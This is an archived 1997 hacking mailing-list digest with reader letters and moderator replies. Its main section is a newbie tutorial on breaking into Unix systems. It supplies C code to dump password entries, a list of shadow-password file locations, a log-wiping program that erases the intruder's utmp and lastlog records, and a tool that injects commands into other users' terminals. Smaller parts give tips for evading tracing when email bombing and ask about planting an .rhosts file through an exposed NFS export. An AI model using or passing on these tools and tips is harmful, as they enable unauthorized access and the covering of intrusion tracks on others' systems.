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Happy Hacker Digest Feb. 28, 1997
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Table of Contents:
   o I've Been Rooted!
   o More on Linux
   o More Email Bomb Info
   o Cracking Question
   o Overdosed Unix
   o Rants

===============================================================================
I'VE BEEN ROOTED!
===============================================================================
   Anonymous:

      Hey there - I was wondering if you could answer something for
      me.

      Over the past weekend, some k-rad elitester decided to take over
      root on our machine. This happened around 7pm on a Friday, but
      luckily, one of our admins was still in the office, realized
      what was happening, and pulled the plug for the weekend.

      We were able to regain root, plug the hole where the guy got in,
      and (hopefully) got rid of the backdoors he left himself.

      But now I want this guy.

      I've figured out where he came through the wtmp logs, but I
      don't know where to go from here. What do you recommend to help
      me track him down? Is there any specific files I should be
      keeping offline or as a printed record in case proof is ever
      needed (and what legal issues surround this - ie: is a file
      permissible as evidence)?

      You've covered hacking quite well, care to cover what to do
      after being hacked?
                                                         M@

   Moderator:
 
      First, did you do a complete reinstall of all executables using
      sources dating before the attack? And are you certain of when
      the first attack was? Sometimes you can be compromised for a
      long time before you realize an intruder has been on your
      system.

      It's probably too late now, but ideally the minute you discover
      an attack you should take a snapshot of the entire system and
      save it on tape. That way you can see not only the logs but also
      what files the intruder was reading, etc. (I'm assuming Unix.)
      Thus you can get an idea of whether this guy was a basically
      harmless hacker looking around, or whether it was someone with
      an agenda. Now I don't want to sound like a knee-jerk pro-hacker
      type, but according to the FBI, almost no computer crime is
      committed by hackers.  So if it was just a hacker, you can
      probably relax. But if it was a computer criminal, you may be in
      for further attacks.

      To give you more specific info, we need to know exactly what
      your operating system is and how it was configured.

===============================================================================
MORE ON LINUX
===============================================================================

   Sender: ardhans@juno.com

      Carolyn, just a quick note on
      >Anyone know a better way to make Win95 behave with Linux?

      I've found a program called : System Commander 3.0.   I'm not
      trying to advertise here or anything but I believe it will do
      the trick.  SC3.0 will overwrite your master boot record on your
      HD so it'll take control on bootup.  You then decide which of
      all the OS's installed (up to 100), you want to run.   It then
      shuffles config. files hides partitions and gets outah dah way!
      leaving no trace in memory.   You can install OS's in their own
      partitions.   It's not perfect but it helps a lot.  Look it
      up:
        http://www.v-com.com/
      and... Omnia mutantur, nos et mutamur in illis.
      Plus de groeten aan alle Nederlanders out there!
                                                            ARD

===============================================================================
MORE EMAIL BOMB INFO
===============================================================================

   <Please post as Anonymous>

      If Hacking is an Art, then I am still painting by number, so
      please don't flame me for my ignorance....  But, I think I know
      of a way to avoid Email Bombs in some cases.  Could you not get
      a free email forwarding address like the ones available on
      BIGFOOT.COM, with a forwarding address to you.  Make your
      address on bigfoot something like IDIOT@BIGFOOT.COM (Don't use
      your Hacker Handle!).  Then anytime you give out your email
      address to people you don't know, give out the bigfoot address.
      This way, if you begin to get that initial barrage of emails
      from subscription lists, then just change your forwarding
      address at Bigfoot to something that doesn't exist.  This
      solution is only valid, of course, if the perpetrator doesn't
      know your real email address.  Hopefully, this would avoid
      frivolous bombings, and serious hackers who could probably
      somehow get your real address from Bigfoot's servers would have
      bigger and better things to do.

      Sorry about the length...

      IOScream!

   Moderator:
 
      That's what I'm doing in effect with the two email bombings to
      right now. This crud is being bounced at
      the router.  Hopefully the owners of the email lists that are
      bombing me will get tired of the bounced messages and
      unsubscribe me. It isn't the most elegant way, but that ISP that
      serves that address for me(Highway Technologies) has such
      clueless tech support people that they can't do it any other way
      and won't let me do it for them.

   Sender: stardust@blueneptune.com

      I have a question/comment regarding port 25 on unix. I've sent bogus mail
      thru mirc, i.e: irc.phoenix.net 25 [syntax: /server irc.phoenix.net 25]
      and it worked. I can make a mailbomber using the timer commands in
      mirc...would this be illegal, do you think this could even be done without
      being traced? Don't want to get in trouble... <eg> I would appreciate any
      thoughts on this, thanks again!!!

      Got a suggestion... How about arranging a meeting on IRC for the HH list
      members (moderated hopefully)? TTYL, If I have something worthy to say!

      --
      Anil J., San Jose State
      http://www.blueneptune.com/~stardust

   Moderator:
 
      Sheesh, you know how I feel about email bombing! In answer to
      your question, email bombing is illegal as a denial of service
      attack. But usually the authorities don't prosecute. But email
      bombers do get into other sorts of trouble. I have had reports
      of email bombers getting kicked off their ISPs and expelled form
      school. Now if you were to email bomb a hacker, there are other
      unpleasant things that can happen to you.

      As for how to keep from getting caught, you need to use a box
      that isn't running identd. But thanks in part to the rash of
      email bombing from lots of clueless newbies who imagine it is
      elite, sysadmins are quickly installing indentd on all their
      boxes. You know those canned email bomb programs you can
      download from certain Web sites that I'm working on closing
      down? Some of these programs say they will keep you anonymous.
      But that isn't true any more because the owners of the boxes
      they exploit have installed identd. Also, the authors of these
      email bomb programs have installed back doors so people in the
      know can track down the people who use them and extract hacker
      justice.

===============================================================================
CRACKING QUESTIONS
===============================================================================

   From: beast master <beastmstr@geocities.com>

      Is there any way to set up a remotely executable file on a web
      site?   for instance, be able to log into the page and launch a
      browser?  I know it is possible to use AOL's web browser,
      something like that, but just to a web site....

      thanks!
      *P*
      --
      http://www.geocities.com/SoHo/6660

   Sender: warpy@null.net

      Whilst i was doing a random search of systems with both rpcinfo
      -p and showmount -e, i discovered a system which was exporting
      their / directory.  This being the first time I've noticed it i
      was very careful not to do anything. Am I correct in assuming i
      could mount /root if i so wished and thus insert a .rhosts file
      which would give me axs?

      Warpy

      (To Carolyn.. Please post this. I'm not looking to cause trouble
      on this system, just interested in what I've found. Honestly..
      :)  )

   Moderator:

      If the answer turns out to be 'yes,' I trust that you will
      advise the owner of that box? Heck, he or she may even ask you
      to please demonstrate how it's done, and then pay you to fix it.
      Many people have gotten a start on a lucrative career as a
      security consultant by making friends this way. Trust me, it's
      more fun using hacker knowledge to make an honest and very
      prosperous living than to get thrown in jail. That's how jericho
      and evil pete make their livings, right?

===============================================================================
CRITIQUE OF OVERDOSED UNIX
===============================================================================

   Sender: jericho@dimensional.com

      > COPY = CP
      > MOVE = MV
      > DIR = LS
      > DEL = RM
      > CD = CD

      Wow. If I type exactly that.. none of them work?!?@ (*cough* case
      sensitive *cough*)

   Moderator:
      (jericho means that while in DOS you can interchange caps and
       lower case, in Unix it makes a difference. All those Unix
       commands above are lower case: 'cp', 'mv', 'ls', 'rm' 'cd'. But
       I wouldn't get too critical of the author, after all, he's the
       first person to start posting really detailed explanations to
       this list of how to crack into Unix computers.)

   Jericho:
      > back!..think for a second now.....does telnet keep logs +NO!+
      > so you would simply type telnet then open target.server.com !!

      What unix are you on? My telnet surely keeps logs.

   Moderator:
      (I think he's pointing out that once you are running telnet your
       commands no longer turn up in the shell log file.  Look, I
       agree, there are a zillion ways your breakin can be logged, but
       many sysadmins only look at the obvious.)

      > Now we get to the more difficult part. It's common sense. If
      > the system administrator has a file that has passwords for
      > everyone on his or her system they are not going to just give
      > it to you. You have to have a way to retrieve the /etc/passwd
      > file without logging into the system.

      If you are local, they can't help but to give you the passwd
      file. It must be 644 for many system binaries to run.

      > 1. Anonymous FTP cd to /etc and get the passwd

      And you will not get the system passwd file.

      > password file. Unfortunately there is no way to "unshadow" a
      > password file but sometimes there are backup password files
      > that aren't shadowed. Try looking for files such as
      > /etc/shadow and other stuff like that.

      There isn't?! On some systems this little script called
      "unshadow.c" does wonders.

      > Also another method is the oldest most famous way the good old
      > command just type.
      > ypcat /etc/passwd
      > NOTE: doesn't always work

      Gee, why not?! Why don't you explain "that NIS thing"?

      >   You can do whatever you want to the servers http'd system

      No you can't. You were talking about getting on the system with
      a user account.. unless you are root, you basically can NOT mess
      with the http server.

      > 3. If you an gain root create your self an account with
      > the 'adduser' command.

      Oh yeah! Mr "don't get logged". How about editing the passwd
      file directly? Adduser shows up in logs.

      > 4. Type 'who' to see who else is on the system.. usually one
      > other hacker on the medium and big ISP'S just look on the far
      > right you should see their alphanumeric IP

      English please?

      > NOTE: It's best to hack late at night because root can't type
      > who and see you don't have the right IP. Usually he doesn't

      Why not?

      > 8. Type telnet and telnet to another shell account ;) (now
      > that's anonymous)

      *cough* all logged *cough*

      =-=

      > Fine. By that argument we need to clear out some 25% of the
      > art in museums around the country. Wake up.
 
   Moderator:
      (would you care to identify by name any art museum that has even
       *one* kiddie porn exhibit, jericho? Are you sure you are on the
       right planet?)

   Jericho:
      Wewps. I misread that part. I thought it was 'porn' in general. :)

      > We don't know.. do you?
 
   Moderator:
      Oh, jericho, I'm so embarrassed to admit this -- no, the FBI has
      never even offered to give me money, sob...

   Jericho:
      Damn if the rumor mill says otherwise!#@!#@$!

   Moderator:
      Maybe that's because I've given out interviews in which I say that
      when I have evidence of a *real* computer crime -- not just some
      silly kid email bombing me -- I will gladly help the FBI. Thanks to
      GALF's habit of wiping system files -- which is real crime -- I've
      provided evidence against them. I've told this to Rogue Agent in
      private email, too.  I'm against computer crime, got it? But I've
      done this only as a free service for the people who have been the
      victims of crime, not for pay.

===============================================================================
OVER DOSED UNIX
===============================================================================

   Hacking Unix Part 2
   by od^phreak

      Hello,

      And welcome to my second edition of hacking Unix. This is for
      newbies pretty much but every edition gets more advanced so
      young hackers can follow along.and novices can start from the
      middle and advanced can read codes,idea's,etc......
      -------------------------------------------------------
      Bypassing Shadowed Passwords And Then Getting Root

      1.Anon Ftp get Shadowed Passwd

      NOTE: these will be shadowed accounts for the administrators of
      the Ftp system.so this means if you cant unshadow with step 2
      sometimes the defaults will work which are in this passwd,such
      as games.  Usually admins don't care to change this so you can login
      as games to get the real passwd file you know the big one that is
      likely unshadowed.

   2.Run a program Similar to The following code:

/**************************************************/
/*
 * unlock .c
 *
 * Unshadow the Shadow password file
 *
 */

#include <pwd.h>
main()
{
   struct passwd *p;
   while(p=getpwent())
   printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,
   p->pw_passwd,
   p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir,
   p->pw_shell);
}
/**************************************************/

      Now this is Just a very small Code that will Unshadow on some
      systems but there are many larger codes that will work on almost any
      system.

      3. Now that you have it unshadowed if you didn't get root or just
         want a normal account you can login to a shell as one of the
         accounts you cracked.and type

         cat /etc/shadow
         or
         cat /etc/passwd

         you can look in the following plays for unshadowed backups

   OS type                            Path           Token in = passwd field
   -------------------------------------------------------------------------=
   AIX 3                       /etc/security/passwd                 !
         or                   /tcb/auth/files/<first letter         #
                              of username>/<username>
   A/UX 3.0s                   /tcb/files/auth/?/                   *
   BSD4.3-Reno                 /etc/master.passwd                   *
   ConvexOS 10                 /etc/shadpw                          *
   ConvexOS 11                 /etc/shadow                          *
   DG/UX                       /etc/tcb/aa/user/                    *
   EP/IX                       /etc/shadow                          x
   HP-UX                       /.secure/etc/passwd                  *
   IRIX 5                      /etc/shadow                          x
   Linux 1.1                   /etc/shadow                          *
   OSF/1                       /etc/passwd[.dir|.pag]               *
   SCO Unix #.2.x              /tcb/auth/files/<first letter        *
                              of username>/<username>
   SunOS4.1+c2                 /etc/security/passwd.adjunct         = ##username
   SunOS 5.0                   /etc/shadow
                              <optional NIS+ private secure
                              maps/tables/whatever>
   System V Release 4.0        /etc/shadow                          x
   System V Release 4.2        /etc/security/* database
   Ultrix 4                    /etc/auth[.dir|.pag]                 *
   UNICOS                      /etc/udb
   --------------------------------
      how some people get root on large high security systems was done
      with the following Exploits and the above Method.and for the newbies
      you would compile these with GCC by typing gcc -0 yourfile
      yourfile.c also another common compiler is cc

/*************************************************************************/
/*
 * -=-=-=-=-=-=-=-=-=-=-
 * Closeit.c
 * -=-=-=-=-=-=-=-=-=-=-
 * this is a rather kewl exploit to close programs  and delete you
 * from system logs
 */

#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
 int     argc;
 char    *argv[];
 {
   char    *name;
   struct utmp u;
   struct lastlog l;
   int     fd;
   int     i = 0;
   int     done = 0;
   int     size;

   if (argc != 1) {
         if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
            printf("You are now cloaked\n");
            goto start;
                                                         }
         else {
            printf("close successful\n");
            exit(0);
            }
                  }
   else {
         printf("usage: close [file to close]\n");
         exit(1);
         }
start:
   name = (char *)(ttyname(0)+5);
   size = sizeof(struct utmp);

   fd = open("/etc/utmp", O_RDWR);
   if (fd < 0)
      perror("/etc/utmp");
   else {
      while ((read(fd, &u, size) == size) && !done) {
            if (!strcmp(u.ut_line, name)) {
               done = 1;
               memset(&u, 0, size);
               lseek(fd, -1*size, SEEK_CUR);
               write(fd, &u, size);
               close(fd);
            }
      }
   }
 

   size = sizeof(struct lastlog);
   fd = open("/var/adm/lastlog", O_RDWR);
   if (fd < 0)
      perror("/var/adm/lastlog");
   else {
      lseek(fd, size*getuid(), SEEK_SET);
      read(fd, &l, size);
      l.ll_time = 0;
      strncpy(l.ll_line, "ttyq2 ", 5);
      gethostname(l.ll_host, 16);
      lseek(fd, size*getuid(), SEEK_SET);
      close(fd);
   }
}
/****************** end **************************************************/

      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      Force.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      i didnt write it but i use it
      i think its one of the best programs

      Compiles under SGI Irix, SunOS 4.1, Ultrix 3.1D, and Ultrix 4.1.
      No promises are made for other OS's or systems.

/*************************************************************************/
/*
 * -=-=-=-=-=-=-=-=-=-=-
 * force.c
 * -=-=-=-=-=-=-=-=-=-=-
 *
 * Usage: force [ -n ] [ -l /dev/ttyxx ]
 *       -n            - use this if you don't want the command to echo
 *       -l /dev/ttyxx - the line to hit; use the full name (e.g. = /dev/ttyp0)
 *
 */

#include <stdio.h>
#include <sys/types.h>  /* for stat(2) */
#include <sys/stat.h>  /* for stat(2) */
#include <fcntl.h>
#ifdef sgi
# include <sys/termio.h>
# define termios termio
# define TCGETS  TCGETA
# define TCSETS  TCSETA
#else
#include <sys/termios.h>
#endif

#ifdef ultrix
# include <sys/ioctl.h>
# define TCGETS TCGETP
# define TCSETS TCSANOW
#endif /* ultrix */

void push(), devchk();

extern char *optarg;
extern int optind;
short no_echo = 0;

#define USAGE     "usage: %s [-n] [-l /dev/ttyxx]\n",*argv
#define COMMAND_LIM 100

int
main(argc, argv)
   int argc;
   char **argv;
{
int f, cnt;
short true = 1, no_cmd = 0;
char *device, *buf, *trail, chr;

if (argc > 4) {
   fprintf(stderr, USAGE);
   exit(1);
}

if ((device = (char *)malloc(40)) == (char *)NULL) {
   perror("malloc 1");
   exit(1);
}
if ((buf = (char *) malloc(COMMAND_LIM)) == (char *)NULL) {
   perror("malloc 1a");
   exit(1);
}
while ((chr = getopt(argc, argv, "nl:")) != -1)
   switch (chr) {
   case 'n':
      no_echo = 1;
      break;
   case 'l':
      (void) devchk(optarg, *argv);
      device = optarg;
      break;
   default:
      fprintf(stderr, USAGE);
      exit(1);
   }

if (strlen(device) < 2) {
   printf("Device [form: /dev/ttyxx]: ");
   fflush(stdout);
   fgets(device, 39, stdin);
   /* cut off the trailing return that fgets leaves on */
   if ((*device) && (*(trail=(char *)(device + strlen(device) - 1)) =
== '\n'))
      *trail = '\0';
   if (strlen(device) > 7)
      (void) devchk(device, *argv);
   else {
      fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", *argv);
      exit(1);
   }
}

printf("Terminate with '-X-' on a line by itself.\n");
while (true) {
   no_cmd = cnt = 0;
   chr = *buf = '\0';
   printf("Force> ");
   rewind(stdin);
   while (((chr=getchar()) != '\n') && (chr != EOF) && (cnt < =
COMMAND_LIM))
      *(buf + cnt++) = chr;
   if (cnt == COMMAND_LIM) {
      printf("Limit of %d characters per command line.\n", COMMAND_LIM);
      no_cmd = 1;
   }
   if (chr == EOF) {
      putc('\n', stdout);
      exit(0);
   }
   if (!no_cmd) {
      *(buf + cnt) = '\0';
      if (!strcmp(buf, "-X-"))
      true = 0;
      else if ((*buf != '\n') && (*buf != '\0')) {
      if ((f = open(device, O_NDELAY | O_RDWR)) < 0) {
         perror("open");
         exit(1);
      }
      push(f, buf);
      close(f);
      }
   }
}
}

void
push(f, s)
   int f;
   char *s;
{
register int i;
char ret='\n';
struct termios termios;

if (no_echo) {
   if (ioctl(f, TCGETS, &termios) < 0) {
      perror("ioctl 1");
      exit(1);
   }
   termios.c_lflag &= ~ECHO;
   if (ioctl(f, TCSETS, &termios) < 0) {
      perror("ioctl 2");
      exit(1);
   }
}

if (ioctl(f, TCFLSH, 0)  < 0) {  /* flush the input queue */
   perror("ioctl 3");
   exit(1);
}

for (i = 0; i < strlen(s); i++)              /* give 'em the command =
*/
   ioctl(f, TIOCSTI, s + i);
ioctl(f, TIOCSTI, &ret);                     /* including a return */

if (no_echo) {
   ioctl(f, TCGETS, &termios);
   termios.c_lflag |= ECHO;
   ioctl(f, TCSETS, &termios);
   ioctl(f, TCFLSH, 1);                       /* flush the output queue =
*/
}
}

void
devchk(device, prg)
   char *device, *prg;
{
struct stat sb;

if (strncmp(device, "/dev/tt", 7) && strncmp(device, "/dev/co", 7)) {
   fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", prg);
   exit(1);
}
if (!strcmp(device, ttyname(0))) {
   fprintf(stderr, "%s: you can't force yourself, you masochist.\n",
            prg);
   exit(1);
}
if (strlen(device) > 40) {
   fprintf(stderr, "%s: terminal name too long.\n", prg);
   exit(1);
}

/*
   * there's probably a cleaner way to do this (not having the struct down
   * here at all); I considered using alloca, then decided not to. I'm open
   * to suggestions. - BK 11/20
   */
if (stat(device, (struct stat *)&sb) < 0) {
   perror(prg);
   exit(1);
}
}
/*
 * -=-=-=-=-=-=-=-=-=-=-
 * end force.c
 * -=-=-=-=-=-=-=-=-=-=-
 */
/*************************************************************************/
      Well i dont want to put to much code here so visit

      http://www.elkhart.net/~sborosh/od/

      for more

      C-ya

      OD^phreak

   Moderator:
 
      These exploits to cover your tracks are certainly better than
      what amateurs like the Gray Areas Liberation Front (GALF) use.
      The GALF guys simply wipe system files after visiting.  Now on
      the one had this means GALF leaves fewer tracks. But on the
      other hand it makes their victims mad. Since GALF usually hacks
      computers belonging to hackers, these guys are walking down the
      same path as the Masters of Deception did. They found out that if
      you make hackers mad enough, they start helping the Feds, and
      are really good at gathering evidence.

      The problem with even wiping out the system files is that a
      record is left at the router of where GALF came in from. So
      computer crime detectives go to the computer the router points
      to. If that  computer has had its files wiped, we just check out
      the computer before that, and so on. We know your modus operandi,
      GALF. Are you going to get mad and hack me again for telling the
      Happy Hacker list that you aren't elite? Go ahead, make my day!

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   From: Warps <Warps@null.net>

      Speaking as a former newbie who used to hate the f*****
      treatment i got from anyone who knew any more than me, i can
      tell you all, i'm beginning to understand why i received such
      treatment..

      Once you get any sort of knowledge about hacking.. or even just
      a good understanding of one or more aspects of it, people begin
      to ask you questions. You at first think.. "Hey, I must be
      getting better at this, people are asking me the questions instead
      of the other way around.." So you answer the questions. Then
      more questions come. Because you've answered previous ones you
      feel somewhat obliged to answer some more (maybe that's just me
      :) ). Anyway what soon happens is that those newbies begin
      relying on you and thinking of you as a information tap they can
      turn on and off whenever they like. You eventually get more
      frustrated as you repeat yourself time and again. But you still
      want to help the newbies because not only is it something no-one
      did for you, but it makes you "popular".  You answer questions
      as fast as they appear, and STILL they want more.  Then one day
      someone introduced me to the /ignore command. Ah hh sweet bliss.

      Anyways the point i'm trying to make is that often newbies
      attitude towards hacking is "gimme, gimme, gimme". They don't
      want to learn the how, only the why. And they won't waste their
      own time looking for the info themselves if they can beg it off
      someone else. This is the crux of why some hackers are rather
      harsh with over enthusiastic newbies. My answer to them is use
      the /ignore key often. My advice to newbies is to go find it
      yourself!

      Warpy

      BTW,  How do you find out whether a system is running cgi?

   From: "Mad Dog" <maddog@cyberjunkie.com>

      > Moderator: Oh, jericho, I'm so embarrassed to admit this --
      > no, the FBI has never even offered to give me money, sob...

      Ahhhh but Carolyn have they saved you from going to jail in
      exchange for information????????

      > Carolyn Meinel
      > M/B Research -- The Technology Brokers

      ummmm what *IS* a technology broker??????

      CIAO

      Mad Dog
      *presently in Wales UK* see some of you in London for aaa
      perhaps???????

   Moderator:
 
      Now I'm *really* insulted! Me, dumb enough to get busted? Hah!
      Now if you want to find out what a technology broker really
      does, heh, heh, first show me the color of your money.

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